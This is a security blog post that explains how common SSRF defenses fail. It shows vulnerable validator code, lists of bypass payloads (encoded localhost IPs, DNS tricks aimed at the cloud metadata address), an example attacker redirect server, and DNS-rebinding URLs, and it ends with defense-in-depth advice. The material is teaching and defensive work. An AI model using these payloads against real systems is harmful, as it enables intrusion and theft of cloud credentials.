Breaking SSRF Defenses: Real-World Bypass Techniques
Every defense has a bypass—learn to think like an attacker

Rahul Dhawan is a senior security engineer with 6 years of experience securing distributed systems, building internal security platforms, and leading initiatives across WAF, data security, logging, and detection. He writes technical breakdowns grounded in real-world deployments, with an eye for architecture, automation, and reliability under pressure.
Why SSRF Still Matters in 2025
Server‑Side Request Forgery (SSRF) continues to be one of the most exploited and lucrative vulnerabilities in modern web systems.
Active SSRF Exploits in 2024-2025
CVE‑2024‑27564: A critical SSRF flaw in ChatGPT's infrastructure allowed attackers to abuse pictureproxy.php functionality to make unauthorized requests, targeting financial, government, and healthcare sectors worldwide
CVE‑2024‑34351: A SSRF vulnerability in Next.js Server Actions allowed attackers to make arbitrary requests and read full HTTP responses by manipulating the Host header
nossrf npm bypass: A critical vulnerability in the popular
nossrfnpm package (up to v1.0.3) allowed bypassing URL validation to access internal IP ranges using domains like localtest.me that resolve to localhost
SSRF = Serious Payday
If you're hunting bug bounties in 2025, SSRF is still top of funnel:
High-severity SSRFs are earning $4,000-$4,920 per report, with the top Apache HTTP Server SSRF paying $4,920 in recent bounties
Top hackers in 2024 averaged $100k/year in bug bounty income, SSRF was a major contributor
Meta paid out over $2.3 million in bounties in 2024, with SSRF being a top-tier payout category equivalent to RCE
Does your backend fetch external URLs, for webhooks, PDF rendering, image proxying, or API calls? Then you already have an SSRF attack surface.
Here's the real issue: developers know SSRF but their defenses still fail.
IP filters break on IPv4-mapped IPv6 (
::ffff:127.0.0.1)DNS allowlists crumble under TOCTOU races
Redirects tunnel into internal services
Regex filters are often just security theater
IMDSv2 can still be bypassed via chained SSRF attacks
This guide isn't a surface-level checklist. It's a developer-first, exploit-backed war game.
I've built a fully interactive SSRF Lab where every defense fails, until it doesn't. You'll run real-world payloads, break "secure" filters, and learn why they collapse under pressure. Watch a simple IP blacklist get demolished by decimal encoding, then see how DNS validation falls to rebinding attacks, then discover how even "bulletproof" defenses have fatal flaws.
By the end, you won't just spot SSRF, you'll dismantle it like a pro attacker. Ready to break some defenses?
Video Learner? I covered similar SSRF concepts in a 2023 Postman Webinar. This guide is the updated, interactive version with hands-on labs.
Defense 1: IP Address Blacklisting
The Implementation
Most developers start with the obvious approach, block private IP ranges:
// Basic IP blacklisting (vulnerable implementation)
function isPrivateIP(ip) {
const privateRanges = [
/^10\./,
/^172\.(1[6-9]|2\d|3[0-1])\./,
/^192\.168\./,
/^127.0.0.1$/
];
return privateRanges.some(range => range.test(ip));
}
function validateURL(url) {
const parsed = new URL(url);
const hostname = parsed.hostname;
// Check if hostname is an IP address
if (net.isIP(hostname)) {
if (isPrivateIP(hostname)) {
throw new Error('Private IP addresses not allowed');
}
}
return url;
}
This looks reasonable, but it's trivially bypassed.
The Bypass: IP Encoding and IPv6
Attackers don't use 127.0.0.1, they use alternative representations:
// All of these resolve to localhost
const bypasses = [
'http://2130706433/', // Decimal encoding
'http://0x7f.0x0.0x0.0x1/', // Hex encoding
'http://0177.0.0.01/', // Octal encoding
'http://[::1]/', // IPv6 loopback
'http://[::ffff:127.0.0.1]/', // IPv4-mapped IPv6
'http://127.000.000.001/', // Zero-padded decimal
'http://127.1/', // Abbreviated notation
];
Lab Demo: Test IP Encoding Bypasses →

Why This Defense Fails
Incomplete coverage: Missing IPv6, encoded formats, and edge cases
Parsing inconsistencies: Different libraries interpret IP formats differently
Maintenance burden: New bypass vectors discovered regularly
Defense 2: Library-Based IP Validation
The Implementation
Smart developers use established libraries that handle IP validation across a wide range of formats:
const isPrivateIP = require('private-ip');
function validateURL(url) {
const parsed = new URL(url);
const hostname = parsed.hostname;
// Handle IP addresses
if (net.isIP(hostname)) {
if (isPrivateIP(hostname)) {
throw new Error('Private IP addresses not allowed');
}
}
return url;
}
// Usage
try {
const safeURL = validateURL(userInput);
const response = await fetch(safeURL);
} catch (error) {
console.error('Invalid URL:', error.message);
}
“It handles RFC 1918, IPv6, and encoded formats reliably, far more robust than regex-based filtering.
The Bypass: DNS Pinning
The library correctly identifies IP addresses, but what about hostnames that resolve to private IPs?
// Attacker-controlled DNS records
// test.meta.rahuldhawan.me A 169.254.169.254 (private IP - never checked) hence Bypasses the Defense
const maliciousURLs = [
'http://169.254.169.254.nip.io/latest/meta-data/', // Resolves to AWS metadata IP
'http://test.meta.rahuldhawan.me/latest/meta-data/', // Resolves to AWS metadata IP
'http://127.0.0.1.nip.io:3000/ssh_key', // Resolves to Localhost
'http://localtest.me:3000/ssh_key', // Resolves to Localhost
];
The application validates the domain name but never resolves it to check the underlying IP address.
Lab Demo: Test DNS Pinning Attack →

Why This Defense Fails
IP validation without DNS resolution creates a massive blind spot. Attackers control both the domain and its DNS records.
Defense 3: DNS Resolution + IP Validation
The Implementation
The next defense combines DNS resolution with IP validation:
const dns = require('dns').promises;
const isPrivateIP = require('private-ip');
async function validateURL(url) {
const parsed = new URL(url);
const hostname = parsed.hostname;
// If it's already an IP, validate directly
if (net.isIP(hostname)) {
if (isPrivateIP(hostname)) {
throw new Error('Private IP addresses not allowed');
}
return url;
}
// Resolve hostname to IP addresses
try {
const addresses = await dns.lookup(hostname, { all: true });
// Check each resolved IP
for (const addr of addresses) {
if (isPrivateIP(addr.address)) {
throw new Error(`Hostname resolves to private IP: ${addr.address}`);
}
}
return url;
} catch (error) {
throw new Error(`DNS resolution failed: ${error.message}`);
}
}
// Usage
const safeURL = await validateURL(userInput);
const response = await fetch(safeURL);
This looks comprehensive, validate IPs directly, resolve hostnames, and check all resolved addresses.
The Bypass: HTTP Redirect Chains
DNS resolution validation is solid, but HTTP redirects create another attack vector:
// Attack flow:
// 1. User submits: http://evil.com/redirect
// 2. DNS check: evil.com resolves to 203.0.113.1 (public IP) ✓
// 3. HTTP request to evil.com/redirect
// 4. Server responds: 302 Found, Location: http://127.0.0.1:8080/admin
// 5. Application follows redirect to localhost
// Attacker's redirect server
app.get('/redirect', (req, res) => {
res.redirect('http://127.0.0.1:8080/admin');
});
// In PHP
<?php
/* Redirect browser */
header("Location: http://169.254.169.254/latest/meta-data/");
?>
The application validates the initial URL but blindly follows redirects without re-validation.
Why This Defense Fails
HTTP redirects create a second URL that bypasses the initial validation. Many HTTP libraries follow redirects by default.
Defense 4: Redirect Validation
The Implementation
The logical next step is validating every URL in the redirect chain:
const axios = require('axios');
// Custom HTTP client that validates redirects
const secureClient = axios.create({
maxRedirects: 5,
timeout: 10000,
// Custom redirect handling
beforeRedirect: async (options, responseDetails) => {
// Validate the redirect URL
const redirectURL = responseDetails.headers.location;
await validateURL(redirectURL);
console.log(`Redirect validated: ${redirectURL}`);
}
});
async function safeFetch(url) {
// Validate initial URL
await validateURL(url);
// Make request with redirect validation
const response = await secureClient.get(url);
return response;
}
This implementation validates both the initial URL and every redirect target.
The Bypass: DNS Rebinding (Time-of-Check/Time-of-Use)
This attack exploits the fact that applications often perform two separate DNS lookups:
Validation lookup: To check if the hostname resolves to a "safe" IP
Request lookup: When the HTTP client actually initiates the request
The attacker configures their DNS server with a very low TTL (e.g., 1 second) and serves alternating IP responses:
First lookup: Returns a public IP (passes validation)
Second lookup: Returns a private/internal IP (used during the actual request)
This exploits the time gap between security validation and usage, allowing the attacker to bypass IP-based SSRF protections and reach internal services.

There are multiple Tools that attacker uses to exploit this kind of vulnerability
# PublicIP -> 1.2.3.4 and Private IP -> 169.254.169.254
http://make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms/latest/meta-data/
# Resolves to 1.2.3.4 and 169.254.169.254 consecutivly
http://7f000001.01020304.rbndr.us:3000/ssh_key
Lab Demo: Test HTTP Redirect Bypass →

Why This Defense Fails
The fundamental issue is two separate DNS resolutions with different timing. HTTP libraries perform their own DNS resolution, creating a race condition window.
Defense 5: IMDSv2 Enforcement (Bypassed via SSRF Chaining)
The Implementation
When developers realized attackers were abusing direct SSRF to fetch cloud metadata, they enforced IMDSv2, which requires a temporary token fetched via a PUT request with custom headers, a move that blocked naive SSRF payloads.
// Defense 5: Block metadata access and enforce IMDSv2
router.get('/defense5', errorHandler(async function (req, res) {
const url = req.query.url;
const hostname = getHostname(url);
// Block direct metadata access
const metadataIPs = ['169.254.169.254', '100.100.100.200'];
if (metadataIPs.includes(hostname)) {
return res.status(423).send('Action Blocked! Direct metadata access forbidden');
}
// Strip IMDSv2 headers from requests
const response = await axios.get(url, {
headers: {
'X-aws-ec2-metadata-token': undefined
}
});
return res.send(response.data);
}));
The Bypass: SSRF Chaining Attack
This bypass technique comes from Yassine Aboukir research on exploiting SSRF against EC2 IMDSv2. He found a SSRF vulnerability and realized they could leverage internal services that support header forwarding to bypass IMDSv2 entirely. The core insight: IMDSv2 blocks direct SSRF, but fails when attackers chain through internal services that can set custom headers.
Attack flow:
Use SSRF to access internal service (like Atlassian Gadgets)
Make internal service fetch IMDSv2 token (PUT + custom headers)
Use internal service to access metadata with the token
Since the internal service is trusted, it bypasses all protections Check out Yassine's writeup for the full technical details.
Why This Defense Fails
Trust boundaries matter. While your main application blocks metadata access, internal services often lack the same protections—turning your security infrastructure into an attack vector.
The Reality: No Silver Bullet for SSRF
After walking through five different SSRF defenses and their bypasses, one thing becomes clear: there's no single-layer solution that solves SSRF completely.
Each defense we've covered represents real-world attempts to solve SSRF at the application layer:
IP blacklisting fails to encoding bypasses
Library validation falls to DNS pinning
DNS resolution checking gets defeated by redirects
Redirect blocking succumbs to TOCTOU races
IMDSv2 protection crumbles under SSRF chaining
The cat-and-mouse game continues because attackers control both the domain names and their DNS records. Any defense that relies solely on URL validation or IP checking at request time will eventually find a bypass.
Defense in Depth: The Only Way Forward
Instead of searching for the perfect application-level fix, successful SSRF mitigation requires multiple layers of protection:
🛡️ Network Layer: Isolate critical services, block egress traffic by default, segment VPCs.
🔒 Application Layer: Use strict allowlists, cache DNS resolution, validate redirects
⚙️ Infrastructure: Enforce IMDSv2, audit internal services for header forwarding
🧠 Design Philosophy: Treat internal services as untrusted, monitor internal requests
The goal isn't to make SSRF impossible, it's to make successful exploitation low-impact. When your critical services are network-isolated and your metadata services require proper authentication, even successful SSRF attacks hit dead ends.
Try the Interactive SSRF Lab → to test every defense and bypass covered in this guide.
Your Next Steps
Test your current defenses using the lab techniques covered here
Assume application-level protections will be bypassed and plan accordingly
Focus on network isolation for your most sensitive services
Monitor for SSRF patterns and failed internal requests
Design systems where SSRF success doesn't equal infrastructure compromise
SSRF will always be with us, but with defense in depth, it doesn't have to be devastating.


